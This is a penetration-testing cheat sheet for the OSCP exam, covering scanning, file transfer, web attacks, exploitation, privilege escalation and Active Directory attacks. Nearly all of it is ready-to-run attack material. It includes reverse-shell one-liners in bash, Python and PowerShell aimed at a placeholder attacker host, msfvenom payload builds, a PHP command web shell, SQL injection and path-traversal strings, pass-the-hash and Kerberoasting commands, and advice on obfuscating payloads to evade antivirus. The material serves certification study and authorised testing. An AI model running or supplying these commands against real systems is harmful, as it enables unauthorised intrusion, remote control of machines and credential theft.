OSCP Cheat Sheet

Purpose

Provide a comprehensive reference for OSCP exam preparation covering enumeration, exploitation, privilege escalation, file transfers, and Active Directory attacks. Enable quick command lookup during assessments.

Inputs/Prerequisites

• Kali Linux or similar penetration testing distribution
• Network access to target machines
• Basic understanding of Windows and Linux systems
• Familiarity with common exploitation techniques

Outputs/Deliverables

• Enumerated services and vulnerabilities
• Successful exploitation and shell access
• Elevated privileges on target systems
• Captured credentials and hashes
• Documented attack paths

Core Workflow

1. Port Scanning

# Basic Nmap scan
nmap -sC -sV -oA nmap_scan -A -T5 10.10.10.x

# Host discovery
nmap -sn 10.10.1.1-254 -vv -oA hosts
netdiscover -r 10.10.10.0/24

# DNS server discovery
nmap -p 53 10.10.10.1-254 -vv -oA dcs

# Full port scan with masscan
masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | uniq | tr '\n' ',')
nmap -Pn -sV -sC -p$ports 10.10.10.x

# Vulnerability scripts
nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x

2. File Transfers

Download to Windows:

# PowerShell download
powershell -command Invoke-WebRequest -Uri http://LHOST/file -Outfile C:\temp\file
iwr -uri http://LHOST/file -Outfile file

# Certutil download
certutil -urlcache -split -f "http://LHOST/file" file

# Bitsadmin
bitsadmin /transfer job http://LHOST/file C:\temp\file

Download to Linux:

# Wget and curl
wget http://LHOST/file
curl http://LHOST/file -o file

# Netcat transfer
# Receiver:
nc -lvnp 4444 > file
# Sender:
nc TARGET 4444 < file

Upload from Windows to Kali:

# PowerShell upload
powershell (New-Object Net.WebClient).UploadFile('http://LHOST/upload.php', 'file')

# SMB share
# On Kali:
impacket-smbserver share . -smb2support
# On Windows:
copy file \\KALI_IP\share\

3. Service Enumeration

FTP (21):

# Anonymous login
ftp TARGET
# user: anonymous, pass: anonymous

# Upload shell
put shell.php

SSH (22):

# Login with key
ssh -i id_rsa user@TARGET

# Crack passphrase
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

SMB (139/445):

# Enumerate shares
smbclient -L //TARGET -N
smbmap -H TARGET
enum4linux -a TARGET
crackmapexec smb TARGET -u '' -p '' --shares

# Connect to share
smbclient //TARGET/share -N

# Mount share
mount -t cifs "//TARGET/share" /mnt/smb -o vers=1.0,user=root

HTTP/HTTPS (80/443):

# Directory enumeration
gobuster dir -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
feroxbuster -u http://TARGET -w wordlist.txt

# Nikto scan
nikto -h http://TARGET

# CMS enumeration
wpscan --url http://TARGET --enumerate u,p,t
droopescan scan drupal -u http://TARGET

SNMP (161):

snmpwalk -c public -v1 TARGET
snmp-check TARGET
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt TARGET

4. Web Attacks

Directory Traversal:

# Linux
../../../etc/passwd
....//....//....//etc/passwd

# Windows
..\..\..\windows\system32\drivers\etc\hosts
..%5c..%5c..%5cwindows\system32\drivers\etc\hosts

Local File Inclusion:

# PHP wrappers
php://filter/convert.base64-encode/resource=index.php
data://text/plain,<?php system($_GET['cmd']); ?>
expect://id

SQL Injection:

# sqlmap basic
sqlmap -u "http://TARGET/page?id=1" --dbs
sqlmap -u "http://TARGET/page?id=1" -D database -T table --dump

# Manual testing
' OR 1=1--
" OR ""="

5. Exploitation

Msfvenom Payloads:

# Windows reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI LPORT=443 -f exe > shell.exe

# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=KALI LPORT=443 -f elf > shell.elf

# PHP reverse shell
msfvenom -p php/reverse_php LHOST=KALI LPORT=443 -f raw > shell.php

# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=KALI LPORT=443 -f asp > shell.asp

# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=KALI LPORT=443 -f war > shell.war

One-Liner Reverse Shells:

# Bash
bash -i >& /dev/tcp/KALI/443 0>&1

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("KALI",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('KALI',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"

6. Windows Privilege Escalation

Enumeration:

whoami /all
systeminfo
net user
net localgroup administrators

Automated Scripts:

# WinPEAS
winpeas.exe

# PowerUp
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"

# Windows Exploit Suggester
windows-exploit-suggester.py --database db.xls --systeminfo systeminfo.txt

Token Impersonation:

# PrintSpoofer
PrintSpoofer.exe -i -c cmd

# JuicyPotato (SeImpersonatePrivilege)
JuicyPotato.exe -l 1337 -c "{CLSID}" -p cmd.exe -a "/c whoami > C:\output.txt" -t *

Service Exploitation:

# Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

# Check service permissions
accesschk.exe /accepteula -uwcqv "Everyone" *

# Modify service binary
sc config SERVICE binpath= "C:\path\to\evil.exe"
sc stop SERVICE
sc start SERVICE

7. Linux Privilege Escalation

TTY Upgrade:

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Enumeration:

id
sudo -l
cat /etc/passwd
cat /etc/crontab
find / -perm -u=s -type f 2>/dev/null

Automated Scripts:

# LinPEAS
./linpeas.sh

# LinEnum
./LinEnum.sh

# Linux Exploit Suggester
./linux-exploit-suggester.sh

SUID Exploitation:

# Find SUID binaries
find / -perm -4000 2>/dev/null

# GTFOBins for exploitation
# https://gtfobins.github.io/

8. Active Directory Attacks

Enumeration:

# PowerView
Import-Module .\PowerView.ps1
Get-Domain
Get-DomainUser
Get-DomainGroup
Get-DomainComputer
Find-LocalAdminAccess

# BloodHound
SharpHound.exe -c all

AS-REP Roasting:

# Find accounts
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP

# Crack hash
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Kerberoasting:

# Get TGS tickets
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request

# Crack hash
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Pass the Hash:

# PsExec
impacket-psexec DOMAIN/admin@TARGET -hashes :NTLM_HASH

# WMI
impacket-wmiexec DOMAIN/admin@TARGET -hashes :NTLM_HASH

# CrackMapExec
crackmapexec smb TARGET -u admin -H NTLM_HASH

Quick Reference

Password Cracking

# John the Ripper
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Hashcat
hashcat -m MODE hash.txt wordlist.txt

# Common modes: 0=MD5, 1000=NTLM, 1800=sha512crypt, 13100=Kerberoast

Listener Setup

# Netcat
nc -lvnp 443

# rlwrap (better shell)
rlwrap nc -lvnp 443

Constraints

• Some exploits require specific OS versions
• AV/EDR may block common tools
• Some techniques require local admin or specific privileges
• Network segmentation may limit lateral movement

Examples

Example 1: Quick Windows Shell

# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=443 -f exe -o shell.exe

# Start listener
nc -lvnp 443

Example 2: Basic Priv Esc Check

# Linux
sudo -l
cat /etc/crontab
find / -perm -4000 2>/dev/null

Troubleshooting

| Issue | Solution | |-------|----------| | Shell dies immediately | Use staged payloads or different encoding | | AV blocks payload | Try different payload format or obfuscation | | Cannot escalate | Run automated enumeration scripts | | Hash won't crack | Try larger wordlists or rules | | Lateral movement fails | Check firewall rules and credentials |